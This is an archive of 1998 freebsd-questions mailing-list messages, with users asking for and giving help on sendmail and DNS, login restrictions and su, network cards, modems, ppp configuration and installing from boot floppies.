Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG pinging fqdn.com won't work since ping requires a host address not a domain address. If you can send mail to xxx@fqdn.com from within this domain I assume you have either set the CW flag in /etc/senmail.cf or have an entry for fqdn.com in /etc/sendmail.cw To mail to this domain from outside your own network you need to things: 1. The domain must be registered 2. The DNS for this domain must have a MX record for fqdn.com cheers, Carey Nairn At 16:12 6/04/98 -0400, Paul MacKenzie wrote: >Hello, > >small problem.. > >when I send mail to xxx@server.FQDN.com it works.. > >when I send mail to xxx@FQDN.com it doesnt.. > >I have (apart from spending hours of work) > >1) set up masquerading properly within sendmail > >tested by simple pinging... ie.. > >ping fqdn.com (it works when I manually send mail within my network) > >I get the following.. ping: cannot resolve FQDN.com: Unknown host > >yet there are no problems with www.FQDN.com, ftp.FQDN.com, etc... > >Thus, all mail is refused.. > >Any help with this (dns?) problem would be appreciated > >Thanks > >Paul > > >"Compassion is the only true answer to suffering" > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Carey Nairn Mailto:C.Nairn@dpac.tas.gov.au Information Systems Branch Phone: (03) 6233 3077 Dept of Premier & Cabinet Fax: (03) 6224 3174 GPO Box 123b Hobart, Tasmania 7001 AUSTRALIA _________________________________________________________________________ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:43:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA04983 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:43:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell.futuresouth.com (shell.futuresouth.com [207.141.254.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA04964 for ; Mon, 6 Apr 1998 16:43:29 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from shell.futuresouth.com (mail.futuresouth.com [207.141.254.21]) by shell.futuresouth.com (8.8.8/8.8.8) with SMTP id SAA13225; Mon, 6 Apr 1998 18:43:04 -0500 (CDT) Date: Mon, 6 Apr 1998 18:43:03 -0500 (CDT) From: "Matthew D. Fuller" To: Val cc: Ross McFarland , freebsd-questions@FreeBSD.ORG Subject: Re: the su command and specifing who can telnet In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Val wrote: > On Sun, 5 Apr 1998, Ross McFarland wrote: > > > 1) I've found and understand how the ftp access is controlled by a file, where and\or how can I control who can access the server by Telnet? I have a user name for apache to run under and would like to restrict its ability to log in from any where other than the console. > I think it's called /etc/login.access > but on my system originally it was set up do deny login to anyone other > from the console, so I had to put in some ips in there and now i can > telnet from those ips. You can also control usernames that can telnet > into the system from there. Yup. You can do a lot of restrictions and openings with it. Just play with it a while. > > 2) how do I allow a user to su to root. I've tried setting group to 0(wheel) and using the log in class root, staff and everything else I can think of in every combination. when I try it always says > We use sudo port to let users run commands as root. > it's one of the ports. this way you don't need to tell them the root > password. Every action is logged into the /var/log/messages and there are > some other precausions i think, like you can't delete root, etc. > Access to sudo command is controlled by the file: sudoers. Well, you still want to be able to su. The users who need to su need to be listed under group wheel in /etc/group, not just have wheel as their login group in /etc/master.passwd. > regards, > Val. *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * "The only reason I'm burning my candle at both ends, is * | that I haven't figured out how to light the middle yet."| * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:43:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA05009 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:43:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pantheon-po01.its.yale.edu (pantheon-po01.its.yale.edu [130.132.143.32]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA05002 for ; Mon, 6 Apr 1998 16:43:53 -0700 (PDT) (envelope-from den@master.chem.yale.edu) Received: from [130.132.186.204] (net186-204.its.yale.edu [130.132.186.204]) by pantheon-po01.its.yale.edu (8.8.8/8.8.8) with ESMTP id TAA07400; Mon, 6 Apr 1998 19:43:15 -0400 (EDT) X-Sender: do33@do33.mail.yale.edu Message-Id: In-Reply-To: <199804062308.QAA02551@implode.root.com> References: Your message of "Mon, 06 Apr 1998 17:35:27 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Mon, 6 Apr 1998 19:44:54 -0400 To: dg@root.com From: Dennis Ostrovsky Subject: Re: Intel EtherExpress Pro/10 PCI Cc: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 4:08 PM -0700 04/06/1998, David Greenman wrote: > How old is this card? The PCI Pro/10, Pro/100B, and Pro/100+ that I'm >familiar with have a device ID of 0x1229. Well, I bought it last month from onsale.com. Using the adapter configuration utility from DOS it says it's a PCI PRO/10 TX. There doesn't appear to be a revision number anywhere. If it's any help the release version on the install disk is 1.4, but that's for the software on it I guess, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 16:45:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA05459 for freebsd-questions-outgoing; Mon, 6 Apr 1998 16:45:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from oz.plymouth.edu (oz.plymouth.edu [158.136.1.100]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA05338 for ; Mon, 6 Apr 1998 16:45:36 -0700 (PDT) (envelope-from r_geline@oz.plymouth.edu) Received: from localhost (r_geline@localhost) by oz.plymouth.edu (8.8.8/8.8.8) with SMTP id TAA11119; Mon, 6 Apr 1998 19:45:32 -0400 (EDT) Date: Mon, 6 Apr 1998 19:45:32 -0400 (EDT) From: Ran To: "Stephen A. Derdau" cc: freebsd-questions@FreeBSD.ORG Subject: Re: question In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG when I tried the /dev/cuaa1 it said device not configured. What else can I do? On Sun, 5 Apr 1998, Stephen A. Derdau wrote: > cuaa0 is com1 cuaa1 is com2 and so on. > If your modem was on com 2 using windows your modem > is now on /dev/cuaa1 > > > Thank You ! > > Stephen A. Derdau > "So What if it is wrong. I am getting closer to the right answer!" > "If I had a nickle for every time I was wrrong , I would want a quarter > instead. :-)" > > On Sun, 5 Apr 1998, Randy S. Gelineau wrote: > > > I am having a problem getting my modem recognized. It is an internal > > modem and I think that it is on cuaa0. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ FUCK THAT!!!! ************************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 17:02:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA07160 for freebsd-questions-outgoing; Mon, 6 Apr 1998 17:02:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from srv01.bigwheel.net (doug@srv01.bigwheel.net [208.197.88.101]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA07154 for ; Mon, 6 Apr 1998 17:02:25 -0700 (PDT) (envelope-from doug@srv01.bigwheel.net) Received: (from doug@localhost) by srv01.bigwheel.net (8.8.5/8.8.5) id RAA13003; Mon, 6 Apr 1998 17:02:12 -0700 (PDT) Date: Mon, 6 Apr 1998 17:02:12 -0700 (PDT) Message-Id: <199804070002.RAA13003@srv01.bigwheel.net> To: dwhite@gdi.uoregon.edu From: Doug Jolley Subject: Re: mail Cc: questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I don't know if the default mail program is that smart. Pine can do it >although you have to enable the option. Apparently it isn't or someone would have clued me in by now. If anyone knows of an alternative to mail(1) that is that smart, I'd love to know about it. It's a rather important feature to me. Thanks for the input. I don't know how you do it! ... doug _____________________________________________________________________ Doug Jolley mailto://doug@bigwheel.net http://www.bigwheel.net Don't bogart that file, my friend. Net it over to me. --------------------------------------------------------------------- _ALTO To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 17:14:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA08483 for freebsd-questions-outgoing; Mon, 6 Apr 1998 17:14:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.impulse.net (mail.impulse.net [204.188.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id RAA08447 for ; Mon, 6 Apr 1998 17:13:55 -0700 (PDT) (envelope-from mike@merchantsnet.com) Received: (qmail 12525 invoked from network); 7 Apr 1998 00:13:54 -0000 Received: from sb1-50.impulse.net (HELO 708644668) (204.188.6.50) by mail.impulse.net with SMTP; 7 Apr 1998 00:13:54 -0000 From: "Michael P. Sale" To: Subject: newbie ppp question. Date: Mon, 6 Apr 1998 17:10:45 -0700 Message-ID: <01bd61b9$9c3672e0$3206bccc@708644668> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello all, I am new to freebsd and most of unix. I am trying to get ppp (IPCP) dialout working on a newly installed PII 233 with freebsd 2.2.5 (CD-Rom set). I have set up both ppp.conf and ppp.linkup in the /etc/ppp directory. They are included below in case they may be the problem. When I type in ppp from root ( I know using root is bad, but I can't yet figure out why I don't have access to anything even though my user is part of wheel ), I get the following: User Process PPP. Written by Toshiharu OHNO. According to the book, I should see considerably more here. :-) At this point the box hangs until I do a CTL-C. All advice and suggestions for the clueless would be appreciated. Thanks, Mike ppp.conf starts here------------------------------------------------- # Default setup. Always executed when PPP is invoked. # Default: set device /dev/cuaa1 set speed 57600 set log Phase Chat Connect Carrier hdlc LCP IPCP CCP tun deny lqr set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK \\dATDT\\T TIMEOUT 40 CONNECT" # Example with a login script # # o From PPP prompt, # ppp> dial simplesite # automatically dials and performs the login script. # # ppp> load simplesite # loads and executes commands, but doesn't dial. # # o From shell, invoke as # $ ppp simplesite # to load commands associated with the 'simplesite' label. Use, # ppp> dial # to establish the connection. # impulse: set phone 1234567 set openmode passive set authname login_name set authkey passwd set login "TIMEOUT 5 login:\\r-login: login_name word: passwd" set timeout 120 # Take care of extra stuff # set up for dynamic ip (ipcp) set ifaddr 0 0 # set up for default routing add 0 0 HISADDR ppp.conf ends here-------------------------------------------------- ppp.linkup starts here---------------------------------------------- # Otherwise, simply add peer as default gateway. # MYADDR: delete 0 add 0 0 HISADDR ppp.linkup ends here---------------------------------------------------------- ---------------------------------------------- Michael P. Sale MerchantsNet.Com mike@merchantsnet.com www.merchantsnet.com ---------------------------------------------- "Humility has no equal in the battle for knowledge" -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 17:30:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA10618 for freebsd-questions-outgoing; Mon, 6 Apr 1998 17:30:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA10575 for ; Mon, 6 Apr 1998 17:30:12 -0700 (PDT) (envelope-from spork@super-g.com) Received: from localhost (localhost [127.0.0.1]) by super-g.inch.com (8.8.8/8.8.5) with SMTP id UAA12602; Mon, 6 Apr 1998 20:28:28 -0400 (EDT) Date: Mon, 6 Apr 1998 20:28:27 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: anthony@sohopros.com cc: ken@mui.net, freebsd-questions@FreeBSD.ORG Subject: Re: communicator-v404 In-Reply-To: <3.0.32.19980406160226.00815430@pop.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG For the record, I grabbed 4.05 today, unzipped, untarred and ran "ns-install". It politely backed up the old version and has worked like a charm all day. Charles Sprickman spork@super-g.com ---- "I'm not a prophet or a stone-age man Just a mortal with potential of a superman I'm living on" -DB On Mon, 6 Apr 1998 anthony@sohopros.com wrote: > > >don't you prefer version 4.05? it's at > > > >ftp.netscape.com > > > >/pub/communicator/4.05/development/english/unix/freebsd > > I have not been able to make it work. My understanding > is that there is a problem with the 4.05 version. > > Anthony .... > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:02:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15552 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:02:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bigbrother (bigbrother.rstcorp.com [206.29.49.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA15537 for ; Mon, 6 Apr 1998 18:02:36 -0700 (PDT) (envelope-from vshah@rstcorp.com) Received: (from uucp@localhost) by bigbrother (8.6.12/8.6.9) id VAA20440; Mon, 6 Apr 1998 21:51:30 -0400 Received: from fault.rstcorp.com(206.29.49.18) by bigbrother.rstcorp.com via smap (V2.0) id xma020431; Mon, 6 Apr 98 21:51:12 -0400 Received: (from vshah@localhost) by rstcorp.com (8.8.1/8.8.1) id VAA05052; Mon, 6 Apr 1998 21:00:46 -0400 (EDT) Date: Mon, 6 Apr 1998 21:00:46 -0400 (EDT) Message-Id: <199804070100.VAA05052@rstcorp.com> MIME-Version: 1.0 From: "Viren R. Shah" To: denwagh@innocent.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re:Modems. In-Reply-To: <3528EA7E.AADD4507@airmail.net> References: <3528EA7E.AADD4507@airmail.net> X-Mailer: VM 6.40 under 19.16 "Lille" XEmacs Lucid Reply-To: "Viren R. Shah" X-Face: )~y+U*K:yzjz{q<5lzpI_SVef'U.])9g[C9`1N@]u3,MHY7f*l7C)[_NjM4y4K8$uIUh|\u (K&&HS6,M!61&GMTk'mqmB/Qg]]X}"?TzsFl]"2v!bl8']dma.:^IY^a[lbOI>U:b<~FyK3q-p{HmZ mn~g.`~BE!5{2D:}Yi+\_KkWe?XaHj9$ko1k8iKLYv5*_2c8"G=?Up[}hn+7RNM(bzBZ_wWk6!Pf&B ?3Tcm7M7B~W%K/I0aX3]*=jP?aM]H6HBPT`oLk+0n^_;N\2\%|Rhy;p}34Q.jEsM\qtnxcm;ag%Nq Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG KT Gibbs writes: > I read through your FAQ, very informative however I am having a small > problem. I have a 56k Phillips Flex modem, it is PNP (bleh), and > although I can get a Sportster 28.8 to work just fine, I cannot get the > 56k to be recognized. Both modems are on IRQ 5, The Sportster is Jumper > set, the 56k is not but it always gets recognized on IRQ 5 when in a 95 > box. Any suggestions? > For PnP support, you need to have FreeBSD 2.2.6. 1. If you don't have 2.2.6, see if the modem came with a program to hardwire its resources. 2. If you do have FreeBSD 2.2.6, configure a new kernel with controller pnp0 boot with this kernel. You can use "pnpinfo" to find out some information about the pnp devices you have. This will let you know what LSN and CSN. Mine says: bandersnatch# pnpinfo Checking for Plug-n-Play devices... Card assigned CSN #1 Vendor ID DAV0001 (0x01003610), Serial Number 0x00000295 PnP Version 1.0, Vendor Version 16 Device Description: DAVICOM 336PNP MODEM ... etc Now reboot, and at the boot prompt use a "-c" to configure the kernel. Use "help" to show you how to set the resources for the pnp modem. Set the irq and port to be the same as the com port (sioX) at which you want it. > KT Gibbs Viren -- Viren R. Shah, {viren @ rstcorp . com} "Haajar te hathiyar" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:02:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA15631 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:02:55 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from comet.connix.com (root@comet.connix.com [198.69.10.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA15565 for ; Mon, 6 Apr 1998 18:02:43 -0700 (PDT) (envelope-from gabe406@connix.com) Received: from Pgabe406.connix.com (gabe406.connix.com [205.246.100.168]) by comet.connix.com (8.8.7/8.8.7) with SMTP id VAA02256 for ; Mon, 6 Apr 1998 21:02:31 -0400 (EDT) Message-ID: <370AAFAE.2564@connix.com> Date: Tue, 06 Apr 1999 21:06:54 -0400 From: Gabriel Selmi X-Mailer: Mozilla 3.0 (Win95; U) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Networking Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, i hope I am sending this to the right place. I have to machines setup with 2.2.5 and had them connected once. I wanted reinstall BSD and I could not setup the hosts as easy as before. I know the hardware works because it did recognize each other in the routing tables. Can you point me to any area or answer this with a step by step proceedure on how to configure a network with 2 computers. I have researched the "Complete FreeBSD" 2nd edition book, but could not resolve the problem. I have also tried adding routes to no avail. PLEASE HELP! Gabe. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:13:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA17578 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:13:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA17571 for ; Mon, 6 Apr 1998 18:13:18 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id SAA04284; Mon, 6 Apr 1998 18:12:00 -0700 (PDT) Message-Id: <199804070112.SAA04284@implode.root.com> To: Dennis Ostrovsky cc: freebsd-questions@FreeBSD.ORG Subject: Re: Intel EtherExpress Pro/10 PCI In-reply-to: Your message of "Mon, 06 Apr 1998 19:44:54 EDT." From: David Greenman Reply-To: dg@root.com Date: Mon, 06 Apr 1998 18:11:59 -0700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >At 4:08 PM -0700 04/06/1998, David Greenman wrote: > >> How old is this card? The PCI Pro/10, Pro/100B, and Pro/100+ that I'm >>familiar with have a device ID of 0x1229. > >Well, I bought it last month from onsale.com. Using the adapter >configuration utility from DOS it says it's a PCI PRO/10 TX. There doesn't >appear to be a revision number anywhere. If it's any help the release >version on the install disk is 1.4, but that's for the software on it I >guess, What chips does the card have on it? The fxp driver only works with the 82557 and 82558 NICs. The older 82556 isn't supported in FreeBSD. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:14:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA17968 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:14:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bigbrother (bigbrother.rstcorp.com [206.29.49.2]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA17937 for ; Mon, 6 Apr 1998 18:14:16 -0700 (PDT) (envelope-from vshah@rstcorp.com) Received: (from uucp@localhost) by bigbrother (8.6.12/8.6.9) id WAA20511; Mon, 6 Apr 1998 22:03:30 -0400 Received: from fault.rstcorp.com(206.29.49.18) by bigbrother.rstcorp.com via smap (V2.0) id xma020507; Mon, 6 Apr 98 22:03:17 -0400 Received: (from vshah@localhost) by rstcorp.com (8.8.1/8.8.1) id VAA05056; Mon, 6 Apr 1998 21:12:53 -0400 (EDT) Date: Mon, 6 Apr 1998 21:12:53 -0400 (EDT) Message-Id: <199804070112.VAA05056@rstcorp.com> MIME-Version: 1.0 From: "Viren R. Shah" To: "Michael P. Sale" Cc: Subject: Re:newbie ppp question. In-Reply-To: <01bd61b9$9c3672e0$3206bccc@708644668> References: <01bd61b9$9c3672e0$3206bccc@708644668> X-Mailer: VM 6.40 under 19.16 "Lille" XEmacs Lucid Reply-To: "Viren R. Shah" X-Face: )~y+U*K:yzjz{q<5lzpI_SVef'U.])9g[C9`1N@]u3,MHY7f*l7C)[_NjM4y4K8$uIUh|\u (K&&HS6,M!61&GMTk'mqmB/Qg]]X}"?TzsFl]"2v!bl8']dma.:^IY^a[lbOI>U:b<~FyK3q-p{HmZ mn~g.`~BE!5{2D:}Yi+\_KkWe?XaHj9$ko1k8iKLYv5*_2c8"G=?Up[}hn+7RNM(bzBZ_wWk6!Pf&B ?3Tcm7M7B~W%K/I0aX3]*=jP?aM]H6HBPT`oLk+0n^_;N\2\%|Rhy;p}34Q.jEsM\qtnxcm;ag%Nq Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Michael P. Sale writes: > Hello all, > > I am new to freebsd and most of unix. > > I am trying to get ppp (IPCP) dialout working on a newly installed > PII 233 with freebsd 2.2.5 (CD-Rom set). I have set up both ppp.conf and > At this point the box hangs until I do a CTL-C. Michael, This sounds like a misconfigured modem. Are you sure you have the irq and port set right, and that you are using the correct cuaaX device? I had the same problem (but on 2.2.6), until I configured the modem correctly. Is the modem a PnP modem? If so, you need 2.2.6 to detect a PnP device. > Michael P. Sale Viren -- Viren R. Shah, {viren @ rstcorp . com} "Haajar te hathiyar" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:25:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA20578 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:25:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaguar.ir.miami.edu (jaguar.ir.miami.edu [129.171.32.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA20560 for ; Mon, 6 Apr 1998 18:24:50 -0700 (PDT) (envelope-from marcus@miami.edu) Received: from localhost by jaguar.ir.miami.edu (PMDF V5.1-10 #24029) with SMTP id <0ER000101RW477@jaguar.ir.miami.edu> for freebsd-questions@FreeBSD.ORG; Mon, 6 Apr 1998 21:24:04 -0400 (EDT) Date: Mon, 06 Apr 1998 21:24:03 -0400 (EDT) From: "Joe \"Marcus\" Clarke" Subject: Re: Networking In-reply-to: <370AAFAE.2564@connix.com> To: Gabriel Selmi Cc: freebsd-questions@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can you please send more specifics as to what your network setup is? The info you gave is sort of vague. Joe Clarke On Tue, 6 Apr 1999, Gabriel Selmi wrote: > Hello, > i hope I am sending this to the right place. I have to machines setup > with 2.2.5 and had them connected once. I wanted reinstall BSD and I > could not setup the hosts as easy as before. I know the hardware works > because it did recognize each other in the routing tables. Can you point > me to any area or answer this with a step by step proceedure on how to > configure a network with 2 computers. I have researched the "Complete > FreeBSD" 2nd edition book, but could not resolve the problem. I have > also tried adding routes to no avail. PLEASE HELP! > > Gabe. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:25:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA20672 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:25:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.impulse.net (mail.impulse.net [204.188.6.10]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id SAA20657 for ; Mon, 6 Apr 1998 18:25:34 -0700 (PDT) (envelope-from mike@merchantsnet.com) Received: (qmail 18369 invoked from network); 7 Apr 1998 01:25:32 -0000 Received: from sb1-50.impulse.net (HELO 708644668) (204.188.6.50) by mail.impulse.net with SMTP; 7 Apr 1998 01:25:32 -0000 From: "Michael P. Sale" To: "Viren R. Shah" Cc: Subject: Re: Re:newbie ppp question. Date: Mon, 6 Apr 1998 18:22:25 -0700 Message-ID: <01bd61c3$9f505180$3206bccc@708644668> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Viren, As usual, not enough information was given by the newbie. No, I'm not sure I have everthing set up correctly. :-) The modem is a SupraExpress 33.6 external hooked up to a serial port. Thanks again, Mike ---------------------------------------------- Michael P. Sale MerchantsNet.Com mike@merchantsnet.com www.merchantsnet.com ---------------------------------------------- "Humility has no equal in the battle for knowledge" -- -----Original Message----- From: Viren R. Shah To: Michael P. Sale Cc: freebsd-questions@FreeBSD.ORG Date: Monday, April 06, 1998 6:17 PM Subject: Re:newbie ppp question. >Michael P. Sale writes: > Hello all, > > > > I am new to freebsd and most of unix. > > > > I am trying to get ppp (IPCP) dialout working on a newly installed > > PII 233 with freebsd 2.2.5 (CD-Rom set). I have set up both ppp.conf and > > > At this point the box hangs until I do a CTL-C. > >Michael, > This sounds like a misconfigured modem. Are you sure you have the > irq and port set right, and that you are using the correct cuaaX > device? I had the same problem (but on 2.2.6), until I configured > the modem correctly. > Is the modem a PnP modem? If so, you need 2.2.6 to detect a PnP > device. > > > Michael P. Sale > >Viren >-- >Viren R. Shah, {viren @ rstcorp . com} >"Haajar te hathiyar" > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 18:30:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA22002 for freebsd-questions-outgoing; Mon, 6 Apr 1998 18:30:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dt050n33.san.rr.com (@dt050n33.san.rr.com [204.210.31.51]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA21961 for ; Mon, 6 Apr 1998 18:30:04 -0700 (PDT) (envelope-from Studded@san.rr.com) Received: from san.rr.com (Studded@localhost [127.0.0.1]) by dt050n33.san.rr.com (8.8.8/8.8.8) with ESMTP id SAA04318; Mon, 6 Apr 1998 18:30:01 -0700 (PDT) (envelope-from Studded@san.rr.com) Message-ID: <35298199.BD102C5F@san.rr.com> Date: Mon, 06 Apr 1998 18:30:01 -0700 From: Studded Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 2.2.6-STABLE-0325 i386) MIME-Version: 1.0 To: Matt Krekel CC: freebsd-questions@FreeBSD.ORG Subject: Re: size of boot.flp file References: <35287005.42214D16@ecst.csuchico.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Matt Krekel wrote: > > I'm going to attempt to install FreeBSD on my system off of a boot > disk. I have downloaded the file boot.flp. I cannot copy the file over > to a 3.5" disk because the size of the file is too large. Am I doing > something wrong here? Or should I stop being cheap and just spend the > money to get the CD-rom? : ) Please read ALL of the *.TXT documents at ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE and then come back and ask us if you have more questions. :) Here's a hint, you don't copy the floppy image. Good luck, Doug 